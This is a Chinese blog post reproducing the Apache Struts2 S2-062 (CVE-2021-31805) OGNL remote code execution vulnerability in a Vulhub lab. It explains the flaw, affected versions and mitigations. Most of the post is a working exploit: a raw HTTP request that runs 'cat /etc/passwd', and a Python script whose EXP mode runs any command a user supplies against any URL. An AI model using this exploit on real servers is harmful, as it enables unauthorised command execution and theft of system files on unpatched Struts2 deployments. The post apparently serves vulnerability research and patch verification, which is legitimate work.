【漏洞复现】Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞_struts2 s2-062(cve-2021-31805)漏洞分析及复现_李火火安全阁的博客-程序员宅基地

技术标签: 漏洞复现  struts2  java  框架漏洞  


声明

本篇文章仅用于技术研究和漏洞复现,切勿从事非法渗透,造成任何影响与本作者无关,切记!

前言

Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。

一、漏洞描述

此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整,导致输入验证不正确。

如果开发人员使用%{…} 语法进行强制 OGNL 解析,仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

二、漏洞原理

开发人员使用%{…} 语法进行强制 OGNL 解析,有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

三、影响版本

  • Struts 2.0.0 - Struts 2.5.29

四、安全版本

  • Struts >= 2.5.30

五、漏洞细节分析

  • 参考链接:https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

六、本地复现

  • 复现环境:Vulhub /Struts2 /s2-061 版本->Struts2:2.5.25
  • 靶机:KALI

启动环境
在这里插入图片描述
docker ps
在这里插入图片描述
访问目标地址
在这里插入图片描述
漏洞EXP

POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

执行结果

在这里插入图片描述
Py脚本测试

import requests
from lxml import etree
import argparse

def poc(url):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("发现漏洞")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("POC检测失败")

def EXP(url,cmd):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("命令回显")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("EXP检测失败")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='S2-062验证')
    parser.add_argument('--url', help="要验证的URL")
    parser.add_argument('--cmd',help="你想执行的命令",default="")
    args = parser.parse_args()
    if args.cmd !="":
        EXP(args.url,args.cmd)
    else:
        poc(args.url)

测试结果如下
在这里插入图片描述

七、漏洞修复

缓解措施
1、这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估,因为“value”属性不存在并且它试图填充该属性。因此,通过给所有属性一个空白值 =“”,这将有助于缓解这个问题。(例如:<s:label name="%{skillName}" value="" />

2、将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。

厂商已发布新版本,请及时更新Struts至2.5.30或更高版本!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_46944519/article/details/124199823

智能推荐

cJSON库使用教程_cjson_addobjecttoobject-程序员宅基地

目录1.cJSON库下载链接2.安装1.cJSON库下载链接https://github.com/DaveGamble/cJSON2.Linux 安装切换到下载的目录,输入# mkdir build# cd build# cmake ..# make3.cJSON数据结构和接口介绍数据结构typedef struct cJSON { struct cJSON *next,*prev; // 数组 对象数据中用到 struct c_cjson_addobjecttoobject

Python - 读取浏览器的历史记录文件并写到 csv 文件_python获取360浏览器历史记录-程序员宅基地

文章目录Python - 读取浏览器的历史记录文件并写到 csv 文件1、先装个依赖 sqlite32、编写代码3、浏览器的历史记录文件放在那里Python - 读取浏览器的历史记录文件并写到 csv 文件1、先装个依赖 sqlite32、编写代码import sqlite3 as db# 从SQLite文件中读取数据def select(db_file, cmd): # 该 API 打开一个到 SQLite 数据库文件 database 的链接,如果数据库成功打开,则返回一个连接_python获取360浏览器历史记录

Lucene 和 Kibana、ElasticSeach、Spring Data ElasticSearch_lucence kibana-程序员宅基地

什么是全文检索数据分类生活中的数据总体分为两种:结构化数据和非结构化数据。结构化数据 - 行数据,可以用二维表结构来逻辑表达实现的数据;指具有固定格式或有限长度的数据,如数据库,元数据等。非结构化数据 - 指不定长或无固定格式的数据,如邮件,word 文档等磁盘上的文件。结构化数据搜索常见的结构化数据也就是数据库中的数据。在数据库中搜索很容易实现,通常都是使用 SQL 语句进行查询,而且能很快的得到查询结果。客户端请求 ----> 连接器连接器 ----> 缓存区连接器 -_lucence kibana

解决用navicate远程连接数据库出现1045 access denied for user 'root'@'localhost' using password yes...-程序员宅基地

在mysql命令行中执行SET PASSWORD FOR 'root'@'localhost' = PASSWORD('123456XXX');GRANTALLPRIVILEGESON*.*TO'root'@'%'IDENTIFIEDBY'123456XXX'WITHGRANTOPTION;flushprivileges;若以上方法..._navicat 如何解决access denied for user 'root'@'localhost' (using password: y

JAVA 实现指定IP和端口是否可以建立链接,实现IP是否能Ping通功能_java实现指定ip和端口在线和离线检测-程序员宅基地

当我们通过IP和端口连接设备时,有时候为了用户展示设备是否在线,就需要一些方法来判断: 1. ping IP ,能ping同说明设备在线 2. 通过检测设备的ip和端口是否可以链接, 来判断设备是否在工作状态Util代码:import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.*;import java.util.r..._java实现指定ip和端口在线和离线检测

maven依赖原则以及jar包冲突-程序员宅基地

一、maven依赖原则1、依赖路径最短优先原则一个项目Demo依赖了两个jar包,其中A-B-C-X(1.0) , A-D-X(2.0)。由于X(2.0)路径最短,所以项目使用的是X(2.0)。2、pom文件中申明顺序优先如果A-B-X(1.0) ,A-C-X(2.0) 这样的路径长度一样怎么办呢?这样的情况下,maven会根据pom文件声明的顺序加载,如果先声明了B,后声...

随便推点

计算机毕业设计Java在线课程教学大纲系统(源码+系统+mysql数据库+Lw文档)_java课程设计高等院校课程大纲管理系统-程序员宅基地

springboot基于SSM框架的项目实训管理系统设计与实现。JSP基于JAVA的邮件过滤系统的设计与实现sqlserver。springboot基于B_S架构的视频监控系统的设计与实现。springboot基于web的数码产品应用平台设计与实现。JSP网上商城与拍卖系统的设计与实现sqlserver。ssm基于Java的废品回收管理系统的设计与实现。jsp龙山社区居民信息管理系统jhne程序开题。JSP视频网站的设计与实现sqlserver。ssm基于web高校车辆调度系统的设计与实现。_java课程设计高等院校课程大纲管理系统

selenium滑动到元素可见状态(滑动元素、窗口操作)_selenium滑动到元素出现-程序员宅基地

一、当定位的元素在页面的较底部时,直接打开无法定位,我们需要先滑动页面,可以看见元素步骤:1、先定位这个元素的位置2、调用滑动到元素可见属性,会返回元素的坐标位置二、窗口操作1、滑动窗口2、打开新窗口,并进行切换..._selenium滑动到元素出现

网络协议篇之SNMP协议(二)—— 管理信息库MIB及OID_mib oid-程序员宅基地

上篇文章提到一套完整的SNMP系统主要包括管理信息库(MIB)、管理信息结构(SMI)及SNMP报文协议。 本篇我们来学习管理信息库(MIB)一、管理信息库MIB 任何一个被管理的资源都表示成一个对象,称为被管理的对象。MIB是被管理对象的集合。它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。每个SNMP设备(Agent)都_mib oid

JAVA代码创建哈夫曼树-程序员宅基地

哈夫曼树最近学习了数据结构中哈夫曼树的知识。先来看哈夫曼树的定义:给定n个权值作为叶子节点,构造一棵二叉树,如果该树的带权路径长度(WPL)达到最小,则称这样的二叉树为最优二叉树,也称为哈夫曼树。得明确几个重要的概念:路径和路径长度:在一棵树中,从一个节点往下可以达到的孩子或孙子节点之间的通路,称为路径。通路中分支的数目称为路径长度。若规定根节点的层数为1,则从根节点到第L层节点的路径长...

vue 父子组件传值及不生效问题_vue父子组件传值有时候成功有时候失败-程序员宅基地

1.父组件<!--顶部--><topHead :parent="testdata" v-if="testdata.length>0"></topHead>data() { return { testdata:[],}}methods: { //获取信息 getBannerList(){ getHone().then(response => { this.testda_vue父子组件传值有时候成功有时候失败

遥感影像去除黑边,ENVI头文件编辑,Landsat影像显示_envi栅格数据黑边-程序员宅基地

一、打开原始的landsat 8影像使用ENVI软件打开.mtl文件图像,如图所示可以看到图像有黑色的边框。二、编辑头文件去除黑边使用工具:Edit ENVI Header可以在Toolbox中直接找到该工具,可以以直接搜索该工具。双击打开工具,选择需要编辑的影像,然后进行忽略值设置,即将Data Ignore Value值设为1,如果找不到Data Ignore Value需要手动..._envi栅格数据黑边

推荐文章

热门文章

相关标签